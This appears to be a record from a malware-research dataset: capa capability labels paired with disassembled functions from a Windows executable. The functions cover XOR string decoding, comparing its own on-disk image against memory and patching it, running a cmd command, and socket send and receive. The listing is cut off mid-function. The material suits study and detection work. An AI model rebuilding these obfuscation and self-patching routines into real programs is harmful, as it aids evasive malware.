joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140087360
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x140087394
mov eax, esi
lea ecx, [rax - 0x3c]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x140087380
mov byte [r8 + 0xc], sil
lea rax, [r8 + 0xb]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x20], sil
cmp r9, rax
je 0x1400873c9
mov r8d, recv
mov rdx, r9
lea rcx, [rsp + 0x20]
call fcn.14007c570
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400873d7
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140096040
mov qword [rdi], rsi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14008744e
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140087449
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140087449
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102074
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x140087460
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r9, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
cmp byte [r8 + 6], sil
je 0x140087494
mov ecx, esi
lea eax, [rcx - 0x3c]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x140087480
mov byte [r8 + 6], sil
lea rax, [r8 + 5]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], sil
cmp r9, rax
je 0x1400874c9
mov r8d, 5
mov rdx, r9
lea rcx, [rsp + 0x48]
call fcn.14007c570
nop
cmp byte [rbx + 0xd], 0
je 0x1400874f3
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rbx], al
inc rcx
cmp rcx, 0xc
jb 0x1400874e0
mov byte [rbx + 0xd], 0
lea rax, [rbx + 0xc]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
cmp rbx, rax
je 0x140087528
mov r8d, recv
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.14007c570
nop
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
movzx edx, byte [rsp + 0x20]
mov rcx, rdi
call fcn.14008d1f0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140087581
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008757b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008757b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102074
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400875c1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400875bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400875bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102074
mov rax, rdi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret

Function at 0x14008e2a0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 5], r8b
je 0x14008e2d3
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 4
jb 0x14008e2c0
mov byte [rdx + 5], r8b
lea rcx, [rdx + 4]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14008e2fc
mov r8d, 4
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14008e310
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 8], r8b
je 0x14008e343
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 7
jb 0x14008e330
mov byte [rdx + 8], r8b
lea rcx, [rdx + 7]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14008e36c
mov r8d, 7
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14008e380
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 9], r8b
je 0x14008e3b3
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 8
jb 0x14008e3a0
mov byte [rdx + 9], r8b
lea rcx, [rdx + 8]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14008e3dc
mov r8d, 8
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14008e3f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0x10], r8b
je 0x14008e423
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0xf
jb 0x14008e410
mov byte [rdx + 0x10], r8b
lea rcx, [rdx + 0xf]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14008e44c
mov r8d, reloc.WS2_32.dll_ntohs
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14008e460
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0xb], r8b
je 0x14008e493
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0xa
jb 0x14008e480
mov byte [rdx + 0xb], r8b
lea rcx, [rdx + 0xa]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14008e4bc
mov r8d, 0xa
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14008e540
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rdx
mov dword [rsp + 0x40], 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x40]
xor edx, edx
mov rcx, rax
lea r8, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
xor esi, esi
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14008e5ed
mov qword [rsp + 0x28], rsi
lea r8d, [rsi + 2]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
jne 0x14008e61c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], rsi
mov qword [rbx], rsi
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140102190
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbx + 8], rax
mov qword [rbx], rdi
jmp 0x14008e5f4
Function at 0x14008f990
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14008f9b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x3c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14008f9a0
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x14008f9c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x14008f9e8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x3c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x14008f9d0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x14008f9f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x14008fa13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x3c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x14008fa00
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x14008fa20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x14008fa43
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x3c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x14008fa30
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x14008fa50
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbp, rcx
mov byte [rsp + 0x20], dl
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x14008fc46
mov r12d, 0x5a4d
cmp word [rax], r12w
jne 0x14008fc46
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
cmp dword [rdi], 0x4550
jne 0x14008fc46
movzx ebx, word [rdi + 0x14]
lea rdx, [rsp + 0x30]
add rbx, 0x18
lea rcx, [rsp + 0x21]
mov r8, rax
add rbx, rdi
call fcn.14008e540
mov r15, qword [rsp + 0x38]
test r15, r15
je 0x14008fc46
mov rsi, qword [rsp + 0x30]
lea rax, [rsi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14008fc46
cmp word [r15], r12w
jne 0x14008fc34
movsxd rcx, dword [r15 + 0x3c]
add rcx, r15
cmp dword [rcx], 0x4550
jne 0x14008fc34
mov eax, dword [rdi + 8]
cmp dword [rcx + 8], eax
jne 0x14008fc34
movzx edx, word [rcx + 6]
cmp dx, word [rdi + 6]
jne 0x14008fc34
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
xor esi, esi
mov qword [rsp + 0x80], r13
add r12, rax
xor r13b, r13b
mov r9d, esi
mov r10d, edx
test edx, edx
je 0x14008fc12
nop
mov r8, rbp
mov rax, rbx
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14008fb73
inc rax
test ecx, ecx
jne 0x14008fb60
test edx, edx
jne 0x14008fb80
test dword [rbx + 0x24], 0x20000000
jne 0x14008fb95
inc r9d
add rbx, 0x28
add r12, 0x28
cmp r9d, r10d
jl 0x14008fb50
jmp 0x14008fc12
cmp dword [rbx + 0x10], esi
jbe 0x14008fc12
nop word [rax + rax]
mov eax, dword [r12 + 0x14]
mov ecx, dword [rbx + 0xc]
mov edi, esi
add rax, rdi
add rcx, rdi
add rcx, r14
movzx ebp, byte [rax + r15]
cmp byte [rcx], bpl
je 0x14008fc0b
cmp byte [rsp + 0x20], 0
je 0x14008fc08
mov edx, 1
mov dword [rsp + 0x24], 0x40
lea r9, [rsp + 0x28]
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0xc]
lea r9, [rsp + 0x24]
add rax, rdi
mov edx, 1
mov byte [rax + r14], bpl
mov ecx, dword [rbx + 0xc]
mov r8d, dword [rsp + 0x28]
add rcx, rdi
add rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13b, 1
inc esi
cmp esi, dword [rbx + 0x10]
jb 0x14008fba0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, r13b
mov r13, qword [rsp + 0x80]
jmp 0x14008fc48
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140102190
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140090c70
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r10, rcx
mov ecx, r9d
test r8, r8
je 0x140090d57
cmp r8, 8
jb 0x140090d36
mov r9, r8
lea r11, [rdx + 4]
and r9, 0xfffffffffffffff8
mov rax, r10
sub rax, rdx
xorps xmm3, xmm3
xorps xmm2, xmm2
movd xmm1, dword [rax + r11 - 4]
add rcx, 8
movd xmm0, dword [r11 - 4]
lea r11, [r11 + 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklbw xmm0, xmm0
psrad xmm1, 0x18
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
pxor xmm1, xmm0
movd xmm0, dword [r11 - 8]
punpcklbw xmm0, xmm0
por xmm3, xmm1
movd xmm1, dword [rax + r11 - 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklwd xmm0, xmm0
psrad xmm1, 0x18
psrad xmm0, 0x18
pxor xmm1, xmm0
por xmm2, xmm1
cmp rcx, r9
jb 0x140090ca3
por xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
por xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
por xmm2, xmm0
movd r9d, xmm2
cmp rcx, r8
jae 0x140090d57
sub r10, rdx
lea rax, [rcx + rdx]
sub r8, rcx
movsx edx, byte [rax + r10]
movsx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r9d, edx
sub r8, 1
jne 0x140090d40
test r9d, r9d
sete al
ret
Function at 0x140092d00
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, rcx
mov qword [rsp + 0x70], rcx
mov r8, rcx
lea rdx, str.start_cmd__C__color_b__title_Error__echo
lea rcx, [rsp + 0x50]
call fcn.1400867d0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x140092d87
lea rax, [rcx + 0x11]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x140092d68
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.__timeout__t_5_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x11], 0
jmp 0x140092da9
mov qword [rsp + 0x20], reloc.WS2_32.dll_recvfrom
lea r9, str.__timeout__t_5_
xor r8d, r8d
lea edx, [r8 + 0x11]
mov rcx, rdi
call fcn.140088d10
mov rdi, rax
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
xor ebx, ebx
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], bl
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140092e21
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140092e1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140092e1c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102074
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140092e73
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140092e6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140092e6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102074
xor ecx, ecx
int 0x29
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140092ead
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140092ea8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140092ede
mov rcx, r8
call fcn.140102074
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140102190
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14009bd30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0xa], r8b
je 0x14009bd63
mov ecx, r8d
nop dword [rax]
lea eax, [rcx - 0x3c]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 9
jb 0x14009bd50
mov byte [rdx + 0xa], r8b
lea rcx, [rdx + 9]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14009bd8c
mov r8d, 9
mov rcx, rbx
call fcn.14007c570
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x1400a10d0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x1400b2910
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x1400b296e
mov dl, 1
call fcn.1400a3420
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.1400a3420
mov eax, ebx
jmp 0x1400b29b2
cmp ebx, 2
ja 0x1400b29b0
mov r9, qword [rdi + 0x668]
lea rdx, [0x140139a10]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1400b29d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x1400b2a13
cmp qword [rcx + 0x678], 0
je 0x1400b2af0
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.1400a14c0
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400b2a41
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x1400b2a88
cmp byte [rdi + 0x1597], 0
jne 0x1400b2a88
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400b2a70
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x1400b2ae8
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x1400b2b43
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x1400b2b09
mov dl, 1
mov rcx, rdi
call fcn.1400a3420
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.1400a3420
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140102190
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x140139a10]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x1400b2ae8
call fcn.1401029b8
int3
Function at 0x1400b2b50
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x1400b2cb6
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
je 0x1400b2c9e
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.1400a14c0
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x1400b2c11
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x1400b2bd0
cmp byte [rax + rcx - 1], 0xa
jne 0x1400b2bf8
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x1400b2c0c
lea r8, [0x140108fa0]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.1400a13c0
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400b2c16
cmp qword [rdi + 0x718], 0
je 0x1400b2c5e
mov dl, 1
mov rcx, rdi
call fcn.1400a3420
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.1400a3420
jmp 0x1400b2c96
mov r9, qword [rdi + 0x668]
lea rcx, [0x140139a10]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.140102190
add rsp, 0x860
pop rdi
ret

Function at 0x1400b2d50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x1400b2d92
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400b2f30
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x138
mov rax, qword [0x140182840]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r14, qword [rsp + 0x1a0]
mov rsi, rcx
movsxd rcx, edx
xor r13d, r13d
mov rax, rcx
mov r12, r9
shl rax, 5
mov r15, r8
lea rbx, [rsi + 0x508]
mov rbp, qword [rsi + rcx*8 + 0x4c0]
add rbx, rax
mov rax, qword [rsi + 0x698]
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1400b3037
lea rax, [0x1400b2de0]
cmp qword [rsi + rcx*8 + 0x4e8], rax
jne 0x1400b3037
cmp qword [rbx], r13
je 0x1400b2fbe
test rdi, rdi
je 0x1400b3037
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.1400c22a0
cmp eax, 0xffffffff
je 0x1400b3037
test al, 1
je 0x1400b3037
mov rax, qword [rbx]
test rax, rax
jne 0x1400b3010
mov rax, qword [rsi]
mov ecx, dword [rax + 0xb70]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, qword [rbx + 8]
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
test rax, rax
je 0x1400b3033
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rax
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400b3037
add qword [rbx + 0x10], rcx
jmp 0x1400b3037
mov qword [rbx + 8], r13
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rdi, eax
mov dword [r14], r13d
cmp rdi, 0xffffffffffffffff
jne 0x1400b30a4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x1400b3070
mov dword [r14], 0x51
